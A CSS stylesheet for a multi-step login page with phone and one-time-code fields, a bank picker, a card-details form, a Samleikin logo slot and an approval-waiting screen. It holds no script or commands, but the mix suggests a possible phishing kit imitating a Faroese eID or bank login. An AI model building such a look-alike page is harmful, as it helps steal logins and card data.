*,*::before,*::after{box-sizing:border-box}
html{text-size-adjust:100%;-webkit-text-size-adjust:100%}
html,body{margin:0;padding:0}
body{
  min-height:100vh;min-height:100dvh;background:#fff;color:#1a2b4b;
  font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Helvetica,Arial,sans-serif;
  font-size:16px;line-height:1.5;-webkit-tap-highlight-color:transparent;
  padding-left:env(safe-area-inset-left);padding-right:env(safe-area-inset-right)
}
.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}
.site-header{display:flex;align-items:center;justify-content:space-between;max-width:1120px;margin:0 auto;padding:32px 40px 24px}
.site-header--lined{border-bottom:1px solid #e5e7eb;max-width:none;padding-left:40px;padding-right:40px}
.site-header--no-logo{justify-content:flex-end}
.site-header--no-logo .logo-link{display:none}
.logo-link{display:inline-flex;text-decoration:none}
.logo{display:block;height:40px;width:auto}
.lang-link{color:#1a2b4b;font-size:15px;font-weight:400;text-decoration:none;padding:10px 4px;min-width:44px;min-height:44px;display:inline-flex;align-items:center;justify-content:flex-end}
.lang-link:hover{text-decoration:underline}
.page-main{display:flex;justify-content:center;align-items:flex-start;padding:72px 24px calc(48px + env(safe-area-inset-bottom));width:100%}
.page-main--login{padding-top:56px}
.login-card{width:100%;max-width:420px}
.login-card__header{background:#f2f5f7;border-radius:12px 12px 0 0;padding:28px 32px 24px;text-align:center}
.login-card__subtitle{margin:0 0 8px;color:#1a2b4b;font-size:15px;font-weight:400}
.login-card__title{margin:0;color:#1a2b4b;font-size:32px;font-weight:700;line-height:1.15;letter-spacing:-0.02em}
.login-card__header--rounded{border-radius:12px;padding:32px 32px 28px}
.login-card__title--bank{font-size:36px}
.bank-logo{display:block;max-width:220px;max-height:56px;width:auto;height:auto;margin:0 auto;object-fit:contain}
.login-card__title--approve{font-size:30px;line-height:1.2}
.samleikin-logo{display:block;height:38px;width:auto;margin:0 auto 18px}
.login-card--approve .login-card__header{margin-bottom:36px}
.login-card--bank .login-card__header{margin-bottom:28px}
.form-message{margin:16px 0 0;padding:12px 16px;border-radius:8px;font-size:14px}
.form-message--error{background:#fef2f2;color:#991b1b}
.form-message.is-hidden{display:none}
.form-message--success{background:#ecfdf5;color:#065f46}
.field-help{margin:0 0 20px;color:#1a2b4b;font-size:15px;line-height:1.55}
.auth-form{display:flex;flex-direction:column;gap:12px}
.phone-field{display:flex;align-items:stretch;border:1px solid #d1d5db;border-radius:12px;overflow:hidden;background:#fff}
.phone-field:focus-within{outline:2px solid #1a2b4b;border-color:#1a2b4b}
.phone-field__prefix{display:flex;align-items:center;padding:0 16px;background:#f2f5f7;color:#1a2b4b;font-size:16px;font-weight:600;border-right:1px solid #d1d5db;white-space:nowrap}
.phone-field__input{border:0;border-radius:0;flex:1}
.phone-field__input:focus{outline:none}
.phone-field:has(.field-input--invalid){border-color:#dc2626}
.phone-field:has(.field-input--invalid):focus-within{outline-color:#dc2626;border-color:#dc2626}
.field-input--code{text-align:center;letter-spacing:0.4em;font-size:28px;font-weight:600;padding-top:16px;padding-bottom:16px;min-height:62px}
.card-form__row{display:grid;grid-template-columns:1fr 1fr;gap:12px}
.bank-form{margin:0}
.bank-list{margin:0;padding:20px 0 28px;border:0;min-inline-size:0}
.bank-option{display:flex;align-items:center;gap:16px;margin-bottom:12px;padding:18px 20px;min-height:56px;border:1px solid #d1d5db;border-radius:12px;background:#fff;cursor:pointer;touch-action:manipulation;transition:border-color 0.15s ease,box-shadow 0.15s ease,background-color 0.15s ease}
.bank-option:last-of-type{margin-bottom:0}
.bank-option:hover,.bank-option:active{border-color:#9ca3af}
.bank-option:has(input:checked){border-color:#1a2b4b;background:#f8fbfc}
.bank-option input{position:absolute;opacity:0;pointer-events:none}
.bank-option__control{flex-shrink:0;width:24px;height:24px;border:2px solid #9ca3af;border-radius:50%;background:#fff;position:relative}
.bank-option input:checked+.bank-option__control{border-color:#1a2b4b}
.bank-option input:checked+.bank-option__control::after{content:"";position:absolute;inset:4px;border-radius:50%;background:#1a2b4b}
.bank-option input:focus-visible+.bank-option__control{outline:2px solid #1a2b4b;outline-offset:2px}
.bank-option__label{color:#1a2b4b;font-size:16px;font-weight:400}
.btn-continue,.btn-login{display:block;width:100%;margin:0;padding:18px 24px;min-height:54px;border:0;border-radius:999px;background:#c8dede;color:rgba(255,255,255,0.92);font-family:inherit;font-size:17px;font-weight:700;line-height:1.2;cursor:not-allowed;touch-action:manipulation;-webkit-appearance:none;appearance:none;transition:background-color 0.2s ease,color 0.2s ease,transform 0.1s ease,box-shadow 0.2s ease}
.btn-login{margin-top:8px}
.btn-continue.is-ready,.btn-login.is-ready{background:#5aa4a6;color:#fff;cursor:pointer;box-shadow:0 8px 20px rgba(90,164,166,0.28)}
.btn-continue.is-ready:hover,.btn-login.is-ready:hover{background:#4a9294}
.btn-continue.is-ready:active,.btn-login.is-ready:active{transform:scale(0.99)}
.btn-continue:not(.is-ready):hover,.btn-login:not(.is-ready):hover{background:#c8dede}
.loading-box{padding:36px 28px 32px;border:1px dashed #c4cdd4;border-radius:12px;text-align:center}
.loading-box__text{margin:0 0 32px;color:#1a2b4b;font-size:15px;line-height:1.55}
.loading-spinner{width:44px;height:44px;margin:0 auto 28px;border:3px solid #d8dee4;border-top-color:#6b7280;border-radius:50%;animation:spinAnim 0.9s linear infinite}
.loading-dots{display:flex;align-items:center;justify-content:center;gap:10px}
.loading-dots__dot{width:8px;height:8px;border-radius:50%;background:#d1d5db;animation:dotAnim 1.4s ease-in-out infinite}
.loading-dots__dot:nth-child(1){animation-delay:0s}
.loading-dots__dot:nth-child(2){animation-delay:0.2s}
.loading-dots__dot:nth-child(3){animation-delay:0.4s}
@keyframes spinAnim{to{transform:rotate(360deg)}}
@keyframes dotAnim{0%,80%,100%{background:#d1d5db;transform:scale(1)}40%{background:#6b7280;transform:scale(1.1)}}
.approve-status{text-align:center}
.loading-spinner--large{width:52px;height:52px;margin:0 auto 18px}
.approve-status__dots{margin:0 0 28px;color:#6b7280;font-size:24px;line-height:1;letter-spacing:0.2em}
.approve-status__text{margin:0;color:#1a2b4b;font-size:15px;line-height:1.55}
.login-card--success .login-card__header{margin-bottom:24px}
.success-icon{display:flex;align-items:center;justify-content:center;width:56px;height:56px;margin:0 auto 18px;border-radius:50%;background:#5aa4a6;color:#fff;font-size:28px;font-weight:700;line-height:1}
.success-text{margin:0;color:#1a2b4b;font-size:16px;line-height:1.55;text-align:center}
.ptal-form{display:flex;flex-direction:column;gap:12px}
.field-label{color:#111827;font-size:14px;font-weight:700}
.field-input{width:100%;padding:18px 18px;min-height:54px;border:1px solid #d1d5db;border-radius:12px;background:#fff;color:#1a2b4b;font-family:inherit;font-size:16px;line-height:1.2;touch-action:manipulation;-webkit-appearance:none;appearance:none}
.field-input::placeholder{color:#9ca3af}
.field-input:focus{outline:2px solid #1a2b4b;outline-offset:0;border-color:#1a2b4b}
.field-input--invalid{border-color:#dc2626}
.field-input--invalid:focus{outline-color:#dc2626;border-color:#dc2626}
@media (max-width:640px){
  .site-header{padding:16px 16px 12px}
  .site-header--lined{padding-left:16px;padding-right:16px}
  .logo{height:34px}
  .page-main,.page-main--login{padding:20px 16px calc(24px + env(safe-area-inset-bottom))}
  .login-card{max-width:none}
  .login-card__header,.login-card__header--rounded{padding:22px 18px 20px}
  .login-card__title{font-size:26px}
  .login-card__title--bank{font-size:28px}
  .login-card__title--approve{font-size:24px}
  .bank-logo{max-width:180px;max-height:48px}
  .samleikin-logo{height:34px;margin-bottom:14px}
  .bank-list{padding:16px 0 20px}
  .bank-option{padding:16px;gap:14px}
  .bank-option__label{font-size:15px;line-height:1.35}
  .loading-box{padding:28px 18px 24px}
  .loading-box__text,.approve-status__text,.field-help,.success-text{font-size:15px}
  .phone-field__prefix{padding:0 14px;font-size:15px}
  .auth-form,.ptal-form,.bank-form,.card-form{gap:14px}
  .card-form__row{grid-template-columns:1fr}
  .bank-form .btn-continue,.auth-form .btn-login,.ptal-form .btn-login{margin-top:4px}
  .form-message{font-size:14px}
}
@media (max-width:380px){
  .login-card__title--bank{font-size:24px}
  .field-input--code{font-size:24px;letter-spacing:0.3em}
}